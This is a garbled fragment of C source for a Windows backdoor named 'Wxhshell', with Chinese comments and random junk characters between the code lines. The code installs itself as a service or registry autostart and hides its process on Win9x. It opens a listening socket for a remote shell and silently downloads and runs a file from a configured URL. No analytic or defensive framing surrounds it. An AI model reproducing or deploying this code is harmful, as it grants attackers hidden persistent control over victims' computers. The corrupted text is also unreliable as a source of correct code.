4cU5 if(!hProcess) return 0; "gikX/Co= D:vUy* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lvJ{=~u I+d(r"N1 CloseHandle(hProcess); s&`XK$p
hG;=ci3EE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y'O{8Q8T if(hProcess==NULL) return 0; 8U:dgXz EbYH?hPo HMODULE hMod; O#5( U.E char procName[255]; cASHgm unsigned long cbNeeded; +M]8_kE=+l Cl.T'A$ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |j}F$*SE[ J$/BH\ CloseHandle(hProcess); wBHDof
xX [gdPHXs if(strstr(procName,"services")) return 1; // 以服务启动 Ml/p{ *p J+NK+,_*M return 0; // 注册表启动 Ry S{@=si } @d^h/w (4f9wrK // 主模块 "3 oU
(RA int StartWxhshell(LPSTR lpCmdLine) 49fq6ZhO {
<m:wuNEM SOCKET wsl; h}&IlDG BOOL val=TRUE; PQ"%Z.F" int port=0; "EhO )lR struct sockaddr_in door; ,wo"(E!4e rPpAg if(wscfg.ws_autoins) Install(); ({nSs5)$ Od]xIk+E port=atoi(lpCmdLine); \` ^Tbn: T|2%b*/ if(port<=0) port=wscfg.ws_port; V@'S#K# "[S
6w WSADATA data; gbf=H8] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .
\0=1P: *9(1:N;# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; jyH_/X5i7 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K/+C6Y? door.sin_family = AF_INET; 10IPq#Jj door.sin_addr.s_addr = inet_addr("127.0.0.1"); c+/C7C o door.sin_port = htons(port); iQ"F`C ~WXxVm*@ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }V;]c~Q/H closesocket(wsl); K.1yncS^ return 1; c!^}!32j) } \o)4m[oF mM{v>Em2K# if(listen(wsl,2) == INVALID_SOCKET) { ~Fb?h%w closesocket(wsl); swL|Ff`$ return 1; k\%v;3nBK } <u wCP4E Wxhshell(wsl); Z?'|9FM WSACleanup(); 1W<_5 j_ T@Z{KV"S return 0; J4 #]8!A xumv I{ }
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| // 以NT服务方式启动 4PM`hc VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `3oP^# { :?k=Yr DWORD status = 0; mJR
T+SZ DWORD specificError = 0xfffffff; #'h CohL }?kO<)d serviceStatus.dwServiceType = SERVICE_WIN32; q:sR zX serviceStatus.dwCurrentState = SERVICE_START_PENDING; Vp{2Z9]} serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [V0 h9! serviceStatus.dwWin32ExitCode = 0; %pQ o%<d serviceStatus.dwServiceSpecificExitCode = 0; 2<@!m@ serviceStatus.dwCheckPoint = 0; 695ppiKU serviceStatus.dwWaitHint = 0; !T. @ vGT.(:\-, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kk+8NwM1 if (hServiceStatusHandle==0) return; C~V$G}mM a`Zf_;$@ status = GetLastError(); toJ&$HrE if (status!=NO_ERROR) Pv.@Y30 { v ed
Qwzh serviceStatus.dwCurrentState = SERVICE_STOPPED; S6tH!Z=(g serviceStatus.dwCheckPoint = 0; {o%R~{6 serviceStatus.dwWaitHint = 0; V/}8+Xq serviceStatus.dwWin32ExitCode = status; (C@@e'e serviceStatus.dwServiceSpecificExitCode = specificError; htym4\Z= SetServiceStatus(hServiceStatusHandle, &serviceStatus); rapca' return; Uk\U*\. } @{lnfOESl _/ZY&5N serviceStatus.dwCurrentState = SERVICE_RUNNING; 5VbNWrw serviceStatus.dwCheckPoint = 0; 6E]rxps}" serviceStatus.dwWaitHint = 0; zAUfd[g if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TeqsP1{? } Q*(o;\s Mwc3@ // 处理NT服务事件,比如:启动、停止 {2@96o2} VOID WINAPI NTServiceHandler(DWORD fdwControl) jMbK7
1K% { q:.BY}X9 switch(fdwControl) LWV`xCr8R { -;"l5oX case SERVICE_CONTROL_STOP: =LnAMl#9 serviceStatus.dwWin32ExitCode = 0; ]]3D`
F} serviceStatus.dwCurrentState = SERVICE_STOPPED; -1JHhRr] serviceStatus.dwCheckPoint = 0; u`|fmVI serviceStatus.dwWaitHint = 0; A,qG*lv { B4aZ3.&W SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3/FB>w gt } oD\+ 5[x return; O_^h 7 case SERVICE_CONTROL_PAUSE: >O~5s.1u serviceStatus.dwCurrentState = SERVICE_PAUSED; PM7/fv*, break; n\Ixv case SERVICE_CONTROL_CONTINUE: *Fws]y2t~ serviceStatus.dwCurrentState = SERVICE_RUNNING; `0:@`)&g1 break; 9lV'3UG-? case SERVICE_CONTROL_INTERROGATE: '%N)(S`O7P break; KL4/"$l] }; Q@n k T1o SetServiceStatus(hServiceStatusHandle, &serviceStatus); e IA=?k.y } J]B5w{??b N<99K! // 标准应用程序主函数 Z]BRMx int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6<Z9p@6 { e.V){}{V |e&Kg~~C // 获取操作系统版本 aK'r=NU OsIsNt=GetOsVer(); 9MxGyGz$ GetModuleFileName(NULL,ExeFile,MAX_PATH); hgGcUpJy? mGvP9E"& // 从命令行安装 4>* `26 if(strpbrk(lpCmdLine,"iI")) Install(); ( Iew%U W:\VFPf2 // 下载执行文件 gzF&7trN if(wscfg.ws_downexe) { +E4_^ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YSyW '~!b WinExec(wscfg.ws_filenam,SW_HIDE); PAkW[;GSDh } t/|^Nt@XT Di*>PE@ if(!OsIsNt) { 6-"&jbvm // 如果时win9x,隐藏进程并且设置为注册表启动 :xCobMs_/ HideProc(); ;rgsPVbVf StartWxhshell(lpCmdLine); *en{pR' } 9 lv2 else jQ*Qh if(StartFromService()) o@. !Z8 // 以服务方式启动 s8Oz^5p( StartServiceCtrlDispatcher(DispatchTable); #SueT"F else WM26-nR // 普通方式启动 1~Nz6 StartWxhshell(lpCmdLine); ~\P.gSiz 1 <+^$QL return 0; mLE`IKgd] }
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